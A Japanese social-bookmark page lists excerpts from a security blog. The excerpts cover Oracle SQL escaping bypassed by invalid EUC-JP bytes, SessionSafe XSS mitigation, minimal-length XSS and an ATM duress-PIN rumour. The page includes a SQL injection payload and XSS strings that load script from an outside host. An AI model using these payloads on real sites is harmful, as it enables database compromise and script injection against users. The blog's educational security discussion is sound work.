タグ

ブックマーク / blog.ts5.me (4)

  • Oracleでのエスケープ - 2007-12-30 - T.Teradaの日記

    今日の日記では、OracleでのSQLインジェクション対策について書きます。 以下のようなコード(PHP)があるとします。 <?php ... $foo_escape = str_replace("'", "''", $foo); $sql = "SELECT * FROM table1 WHERE foo='$foo_escape'"; $stmt = OCIParse($dbh, $sql); ... 「'」を「''」にエスケープしてSQL文に埋め込み、Oracleで実行(Parse)しています。 割とよくあるコードかもしれませんが、これだとSQLインジェクション攻撃に脆弱な場合があります。 不正な文字列 DBサーバとのコネクションにEUC-JP(JA16EUCTILDE)を使用しているとします。 ここで、$fooに「[0xA1]' OR 1=1--」のような、EUC-JPとして不正な

    Oracleでのエスケープ - 2007-12-30 - T.Teradaの日記
    poolmmjp
    poolmmjp 2008/01/02
    あーなるほどねー
  • T.Teradaの日記 - SessionSafe: Implementing XSS Immune Session Handling

    SessionSafeは、ハンブルグ大学のMartin Johnsさんが書いたWeb APの方式案です。 もしWeb APにXSS脆弱性があって、これが攻撃されたとしても、 セッションIDが盗まれない 当該ページ以外の情報が窃取・改竄されない ことを目指しています。 面白いなーと思ったので、内容について少し書きます。 なお、元記事を高速斜め読みしたので、この日記の内容には間違いが含まれているかもしれません。興味のある方は原を見てください。 セッションIDが盗まれない 以下の二つのドメインがあるとします。 www.example.com secure.example.com セッションIDのCookieは、secureサブドメインに発行します。 Webページを表示する際はwww.example.comのURLにアクセスします。そこで返すHTMLに色々と仕掛けを施します。 HTMLの仕掛け

    T.Teradaの日記 - SessionSafe: Implementing XSS Immune Session Handling
    poolmmjp
    poolmmjp 2007/03/23
    『もしWeb APにXSS脆弱性があって、これが攻撃されたとしても、1. セッションIDが盗まれない 2. 当該ページ以外の情報が窃取・改竄されない ことを目指しています。』とのこと。原文含めてあとでちゃんと読む。
  • [セキュリティ]Super-Short XSS - T.Teradaの日記

    <p>ココ</p> 上記の ココ に任意の文字列を挿入できる場合、最短で何文字でJavaScriptを起動できるのか? というような話題です(完全にお遊びです)。 http://sla.ckers.org/forum/read.php?2,6964,7145 forumの内容を参考に、手元の環境でやってみると、以下が最短のようです。 ■Firefox2 ①<p><script src=//h4k.in </p> ■IE6 ②<p><script src=//h4k.in/></p> ③<p><script src=//h4k.in></script></p> (h4k.inというのはforum参加者の一人が用意したサイト) forumでは「②はIE7で動く」と書かれていましたが、私がやった限りIE6/7とも動きませんでした。③のように </script> が必要なようです。 ただし、挿入箇

    [セキュリティ]Super-Short XSS - T.Teradaの日記
    poolmmjp
    poolmmjp 2007/02/26
  • 米国のATMについての噂 - teracc’s blog

    「誰かに脅迫されて、自分の預金を引き出す時には、銀行のATMで暗証番号を逆順に入力すればよい。通常通りお金を引き出すことができるが、あなたが脅されていることが警察に通報される――真偽の程は不明だが、そんな噂を聞いた。」 Reverse Pin Numbers Enable Emergency Function - ha.ckers.org これは、ha.ckers.orgの記事の最初の方を「超意訳」したものです。 脅迫信号の話 この話で思い出したのは、以下のに載っている話です。 認証技術 パスワードから公開鍵まで 作者: Richard E.Smith,稲村雄出版社/メーカー: オーム社発売日: 2003/04メディア: 単行 クリック: 33回この商品を含むブログ (13件) を見る このでは、自分が脅迫されていることを味方に通知するための信号を「脅迫信号」(duress sign

    米国のATMについての噂 - teracc’s blog
    poolmmjp
    poolmmjp 2007/02/08
    「脅迫されて預金を引出す時には、暗証番号を逆順に入力。通常通りお金を引出せるが、通報される――真偽の程は不明だが噂を聞いた。」まあ左右対称の人もいるだろうし。考え方は面白い。
  • 1